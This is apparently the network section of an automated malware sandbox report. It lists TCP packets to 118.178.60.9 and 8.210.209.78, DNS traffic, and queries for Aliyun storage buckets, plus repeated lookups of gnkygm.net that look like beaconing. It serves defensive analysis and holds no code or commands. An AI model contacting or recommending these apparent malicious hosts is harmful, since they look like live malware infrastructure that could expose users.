Jan 16, 2025 03:55:41.577800035 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:41.577825069 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:41.577825069 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:41.577825069 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:41.577879906 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:42.139266014 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:43.386949062 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:43.386974096 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:43.617721081 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:43.617805958 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:43.617897987 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:43.618103027 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:43.618135929 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:44.960745096 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:44.960870028 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:44.961487055 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:44.961504936 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:44.961626053 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:44.961637020 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.346621990 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.346637964 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.346771002 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.346771955 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.346798897 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.347203970 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.348740101 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.348803997 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.350903988 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.350970030 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.353111982 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.353169918 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.436681032 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.436897993 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.436995983 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.437062979 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.437077999 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.437088013 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.437138081 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.437187910 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.437557936 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.437613010 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.437702894 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.437761068 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.437810898 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.438065052 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.439960957 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.440027952 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.440176964 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.440349102 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.442230940 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.442292929 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.444431067 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.444606066 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.523719072 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.523809910 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.524229050 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.524297953 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.524432898 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.524473906 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.524490118 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.524513006 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.524547100 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.524565935 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.525286913 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.525324106 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.525356054 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.525369883 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.525398970 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.525685072 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.526396990 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.526432991 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.526465893 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.526479006 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.526504040 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.526782036 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.527529955 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.527595997 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.527725935 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.527784109 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.527868986 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.527931929 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.528740883 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.528805017 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.529078960 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.529140949 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.530766964 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.530797958 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.530828953 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.530847073 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.530872107 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.531179905 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.532880068 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.532948017 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.612487078 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.612590075 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.612600088 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.612623930 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.612663031 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.612684011 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.612719059 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.612775087 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.612895012 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.612961054 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.614212036 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.614294052 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.616039038 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.616111994 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.620946884 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.621026039 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.623486996 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.623554945 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.627875090 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.627964973 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.630067110 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.630139112 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.632375956 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.632452011 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.636908054 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.636976957 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.639058113 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.639127016 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.643845081 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.643912077 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.645951033 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.646018982 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.648344994 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.648412943 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.652770996 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.652837992 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.654903889 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.654970884 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.659677982 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.659756899 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.661792040 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.661864996 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.666569948 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.666644096 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.668894053 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.668967009 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.671288013 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.671359062 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.675539017 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.675610065 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.677794933 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.677865982 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.682496071 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.682564020 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.684727907 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.684797049 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.687135935 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.687202930 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.691623926 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.691714048 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.693893909 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.693964005 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.698410034 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.698484898 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.700395107 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.700465918 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.703496933 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.703567028 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.707473993 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.707545996 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.709856033 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.709929943 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.714262962 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.714334011 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.716695070 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.716766119 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.721309900 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.721384048 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.723439932 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.723507881 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.725841045 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.725909948 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.730415106 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.730487108 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.732645035 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.732717037 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.737190962 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.737266064 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.739521027 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.739614010 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.742348909 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.742428064 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.746355057 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.746429920 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.748667002 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.748737097 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.753545046 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.753629923 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.755742073 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.755812883 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.759907007 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.759977102 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.762255907 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.762326956 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.870487928 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.870651007 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.873622894 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.873701096 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.875150919 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.875232935 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.879196882 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.879276991 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.881089926 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.881154060 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.883335114 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.883398056 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.887988091 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.888076067 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.890120983 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.890196085 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.892304897 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.892365932 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.892395020 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.892445087 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.892652988 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.892841101 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.893292904 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.893292904 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:45.893338919 CET	443	63495	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:45.893405914 CET	63495	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:57:29.597351074 CET	8917	63360	8.210.209.78	192.168.2.4
Jan 16, 2025 03:57:29.704797983 CET	63360	8917	192.168.2.4	8.210.209.78
Jan 16, 2025 03:57:29.852150917 CET	63360	8917	192.168.2.4	8.210.209.78
Jan 16, 2025 03:57:29.856978893 CET	8917	63360	8.210.209.78	192.168.2.4
Jan 16, 2025 03:57:40.652781963 CET	8917	63360	8.210.209.78	192.168.2.4
Jan 16, 2025 03:57:40.798681974 CET	63360	8917	192.168.2.4	8.210.209.78

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 16, 2025 03:54:15.683902979 CET	61901	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:54:16.236696959 CET	53	61901	1.1.1.1	192.168.2.4
Jan 16, 2025 03:54:26.050937891 CET	53	51331	1.1.1.1	192.168.2.4
Jan 16, 2025 03:54:47.449275970 CET	63744	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:54:47.920114040 CET	53	63744	1.1.1.1	192.168.2.4
Jan 16, 2025 03:55:21.781691074 CET	61197	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:55:21.790827036 CET	53	61197	1.1.1.1	192.168.2.4
Jan 16, 2025 03:55:27.831904888 CET	55345	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:55:27.846764088 CET	53	55345	1.1.1.1	192.168.2.4
Jan 16, 2025 03:55:33.877063036 CET	62956	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:55:34.033087015 CET	53	62956	1.1.1.1	192.168.2.4
Jan 16, 2025 03:55:40.072458982 CET	49226	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:55:40.082011938 CET	53	49226	1.1.1.1	192.168.2.4
Jan 16, 2025 03:55:46.111576080 CET	53139	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:55:46.122900963 CET	53	53139	1.1.1.1	192.168.2.4
Jan 16, 2025 03:55:52.142751932 CET	62808	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:55:52.151873112 CET	53	62808	1.1.1.1	192.168.2.4
Jan 16, 2025 03:55:58.175683975 CET	62787	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:55:58.190150023 CET	53	62787	1.1.1.1	192.168.2.4
Jan 16, 2025 03:56:03.361819983 CET	63236	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:56:03.535660028 CET	53	63236	1.1.1.1	192.168.2.4
Jan 16, 2025 03:56:07.737612009 CET	62788	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:56:07.748733997 CET	53	62788	1.1.1.1	192.168.2.4
Jan 16, 2025 03:56:12.596095085 CET	61694	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:56:12.606272936 CET	53	61694	1.1.1.1	192.168.2.4
Jan 16, 2025 03:56:17.986555099 CET	52324	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:56:17.995929956 CET	53	52324	1.1.1.1	192.168.2.4
Jan 16, 2025 03:56:22.752185106 CET	56180	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:56:22.760790110 CET	53	56180	1.1.1.1	192.168.2.4
Jan 16, 2025 03:56:27.596013069 CET	61417	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:56:27.604883909 CET	53	61417	1.1.1.1	192.168.2.4
Jan 16, 2025 03:56:32.605612040 CET	63334	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:56:32.615827084 CET	53	63334	1.1.1.1	192.168.2.4
Jan 16, 2025 03:56:37.598809004 CET	51692	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:56:37.608458996 CET	53	51692	1.1.1.1	192.168.2.4
Jan 16, 2025 03:56:42.596659899 CET	56605	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:56:42.606735945 CET	53	56605	1.1.1.1	192.168.2.4
Jan 16, 2025 03:56:47.597229004 CET	64072	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:56:47.607325077 CET	53	64072	1.1.1.1	192.168.2.4
Jan 16, 2025 03:56:52.609621048 CET	60126	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:56:52.619241953 CET	53	60126	1.1.1.1	192.168.2.4
Jan 16, 2025 03:56:57.610014915 CET	57379	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:56:57.619714022 CET	53	57379	1.1.1.1	192.168.2.4
Jan 16, 2025 03:57:02.602348089 CET	64293	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:57:02.611505985 CET	53	64293	1.1.1.1	192.168.2.4
Jan 16, 2025 03:57:07.603775024 CET	50704	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:57:07.764215946 CET	53	50704	1.1.1.1	192.168.2.4
Jan 16, 2025 03:57:12.603574991 CET	65379	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:57:12.613055944 CET	53	65379	1.1.1.1	192.168.2.4
Jan 16, 2025 03:57:17.605192900 CET	63604	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:57:17.760951996 CET	53	63604	1.1.1.1	192.168.2.4
Jan 16, 2025 03:57:22.601634979 CET	57335	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:57:22.611032009 CET	53	57335	1.1.1.1	192.168.2.4
Jan 16, 2025 03:57:27.597793102 CET	65391	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:57:27.605098963 CET	53	65391	1.1.1.1	192.168.2.4
Jan 16, 2025 03:57:32.597096920 CET	63422	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:57:32.604872942 CET	53	63422	1.1.1.1	192.168.2.4
Jan 16, 2025 03:57:37.733587980 CET	50239	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:57:37.740884066 CET	53	50239	1.1.1.1	192.168.2.4
Jan 16, 2025 03:57:42.601037025 CET	64137	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:57:42.608556032 CET	53	64137	1.1.1.1	192.168.2.4
Jan 16, 2025 03:57:47.601336002 CET	54302	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:57:47.610985041 CET	53	54302	1.1.1.1	192.168.2.4
Jan 16, 2025 03:57:52.610835075 CET	63622	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:57:52.620613098 CET	53	63622	1.1.1.1	192.168.2.4
Jan 16, 2025 03:57:57.596087933 CET	62112	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:57:57.603770018 CET	53	62112	1.1.1.1	192.168.2.4
Jan 16, 2025 03:58:02.599122047 CET	64878	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:58:02.609021902 CET	53	64878	1.1.1.1	192.168.2.4
Jan 16, 2025 03:58:07.597275972 CET	59128	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:58:07.606662989 CET	53	59128	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 16, 2025 03:54:15.683902979 CET	192.168.2.4	1.1.1.1	0x64a2	Standard query (0)	vien3h.oss-cn-beijing.aliyuncs.com	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:54:47.449275970 CET	192.168.2.4	1.1.1.1	0xe439	Standard query (0)	22mm.oss-cn-hangzhou.aliyuncs.com	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:55:21.781691074 CET	192.168.2.4	1.1.1.1	0x8838	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:55:27.831904888 CET	192.168.2.4	1.1.1.1	0x1e65	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:55:33.877063036 CET	192.168.2.4	1.1.1.1	0x4e2e	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:55:40.072458982 CET	192.168.2.4	1.1.1.1	0x7124	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:55:46.111576080 CET	192.168.2.4	1.1.1.1	0x81d	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:55:52.142751932 CET	192.168.2.4	1.1.1.1	0x5877	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:55:58.175683975 CET	192.168.2.4	1.1.1.1	0xade3	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:56:03.361819983 CET	192.168.2.4	1.1.1.1	0x18f5	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:56:07.737612009 CET	192.168.2.4	1.1.1.1	0x1ac7	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:56:12.596095085 CET	192.168.2.4	1.1.1.1	0x6d61	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:56:17.986555099 CET	192.168.2.4	1.1.1.1	0xde2c	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:56:22.752185106 CET	192.168.2.4	1.1.1.1	0xd4d8	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:56:27.596013069 CET	192.168.2.4	1.1.1.1	0x2f40	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:56:32.605612040 CET	192.168.2.4	1.1.1.1	0xf77a	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:56:37.598809004 CET	192.168.2.4	1.1.1.1	0xcf10	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:56:42.596659899 CET	192.168.2.4	1.1.1.1	0x4124	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:56:47.597229004 CET	192.168.2.4	1.1.1.1	0x321f	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:56:52.609621048 CET	192.168.2.4	1.1.1.1	0x281b	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:56:57.610014915 CET	192.168.2.4	1.1.1.1	0xbf58	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
